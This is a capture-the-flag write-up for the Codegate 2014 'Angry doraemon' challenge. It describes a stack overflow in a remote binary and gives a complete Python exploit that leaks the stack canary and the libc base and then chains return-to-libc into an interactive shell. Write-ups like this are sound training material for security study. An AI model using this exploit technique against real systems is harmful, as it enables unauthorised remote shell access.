Hexcellents CTF Wiki

Codegate 2014: "Angry doraemon" 250 pts

We have to exploit a remote binary. The binary accepts various commands from the user, and mostly just prints out some text in response:

$ nc 58.229.183.18 8888
                            9eeeeeeeeeeeeeeG5                         
                        9eee9zXXEeEXWXEeEDD#GeeeD                     
                     #ee9DXXXXXeD       XeXXX55D9eez                  
                   ee9DXXX555yED         We#eeee#XX#eeu               
                 #ez55z9Geeeeee        y  ez,   DeeD5zeeu             
...              
                                      ue         9z                   
                                       We,      e#                    
                                         zeeeeeE  
  Angry doraemon! fight!
Waiting 2 seconds...
 
Doraemon H.P: 100
- Attack menu -
 1.Sword
 2.Screwdriver
 3.Red-bean bread
 4.Throw mouse
 5.Fist attack
 6.Give up
>1
 
1)Toy sword
2)Small sword
3)Big sword
2
"Come on! (HP - 1)"
"Hahaha, I'm a robot!"
 
Doraemon H.P: 99
- Attack menu -
 1.Sword
 2.Screwdriver
 3.Red-bean bread
 4.Throw mouse
 5.Fist attack
 6.Give up

The program has a stack-based buffer overflow vulnerability in the “Throw mouse” function. It reads 110 bytes in a 4 bytes buffer on the stack.

write(fd, "Are you sure? (y/n) ", 0x14u);
read(fd, &buf, 110u);
if ( (_BYTE)buf == 'y' )
{
  v3 = sprintf(s, "You choose '%s'!\n", &buf);
  write(fd, s, v3);
  v4 = read(v6, s, 0x1388u);
  write(fd, s, v4);
  write(fd, "\n\"MOUSE!!!!!!!!! (HP - 25)\"\n", 0x1Cu);
  hp -= 25;
}

However, the program is compiled with stack canaries, so we must bypass it in order to make a working exploit.

To do this, we notice that the program is also printing the contents of the buffer as a string (if the first char is 'y'). We can use this to leak the canary value. If we overwrite the entire stack up to and including the 0x00 byte of the canary with 'a'-s, we'll be able to leak the other 3 bytes of the canary. We find the required number of bytes for this to be 11.

Now we can control the return address and make the program jump to any address we like. We point it to write@plt in order to find out the libc base address. Next, with the libc address in place, we can now do a return-to-libc and get our shell. We already have a call to execl(“/bin/sh”) in the binary, so we only use libc for the dup2.

To summarize, the exploit will have three phases:

  • Overflow buffer, leak canary
  • Overflow buffer, leak libc base
  • Overflow buffer, return-to-libc
#!/usr/bin/env python
 
import telnetlib
import pexpect
import time
import sys
from struct import pack, unpack
from remote_shell_client import RemoteShellClient
 
REMOTE = True
 
if REMOTE:
	c = pexpect.spawn('bash -c "stty raw && nc 58.229.183.18 8888"', timeout=None)
else:
	c = pexpect.spawn('bash -c "stty raw && nc localhost 8888"', timeout=None)
 
 
c.expect('>')
 
c.send(pack('<L', ord('4')))
 
c.expect_exact('Are you sure? (y/n)')
 
c.send('yaaaaaaaaaa')
 
s = c.read(100)
 
k = s.rfind('yaaaaaaaaaa')
k += len('yaaaaaaaaaa')
k -= 1
 
cookie = unpack('<L', s[k:k+4])[0]
 
cookie &= 0xffffff00
 
print "found cookie = %x" % cookie
 
c.close()
 
# ------------------ stage 2
 
if REMOTE:
	c = pexpect.spawn('bash -c "stty raw && nc 58.229.183.18 8888"', timeout=None)
else:
	c = pexpect.spawn('bash -c "stty raw && nc localhost 8888"', timeout=None)
 
c.expect('>')
 
c.send(pack('<L', ord('4')))
 
c.expect_exact('Are you sure? (y/n)')
 
p = ''
 
p += pack('<L', 0x80486e0) # write@plt
p += pack('<L', 0xbbbbbbb) # dummy
p += pack('<L', 4)         # fd
p += pack('<L', 0x804b038) # &libc_start_main
p += pack('<L', 4)         # size
 
c.send('a' * 10 + pack('<L', cookie) + 'a' * 12 + p)
 
libc_start_main = unpack('<L', c.read(100)[-4:])[0]
 
print "libc_start_main %x" % libc_start_main
 
c.close()
 
# ------------------ stage 3
 
if REMOTE:
	c = pexpect.spawn('bash -c "stty raw && nc 58.229.183.18 8888"', timeout=None)
else:
	c = pexpect.spawn('bash -c "stty raw && nc localhost 8888"', timeout=None)
 
c.expect('>')
 
c.send(pack('<L', ord('4')))
 
c.expect_exact('Are you sure? (y/n)')
 
pop3_ret = 0x8048b2c
pop2_ret = 0x8048b2d
 
if REMOTE:
    libc_base = libc_start_main - 0x00019810
    libc_dup2 = libc_base + 0x000e11f0
else:
    libc_base = libc_start_main - 0x0001cbd0
    libc_dup2 = libc_base + 0x000e4740
 
p = ''
 
p += pack('<L', libc_dup2)
p += pack('<L', pop2_ret)
p += pack('<L', 4)
p += pack('<L', 0)
p += pack('<L', libc_dup2)
p += pack('<L', 0x8048c62) # the address of the call to execl("/bin/sh") inside the code
p += pack('<L', 4)
p += pack('<L', 1)
 
c.send('a' * 10 + pack('<L', cookie) + 'a' * 12 + p)
 
time.sleep(1)
 
print 'starting shell'
 
sh = RemoteShellClient(c.fileno())
sh.interact()  
writeups/codegate2014_angry_doraemon.txt · Last modified: 2014/03/07 11:58 by rcaragea
[unknown link type]Back to top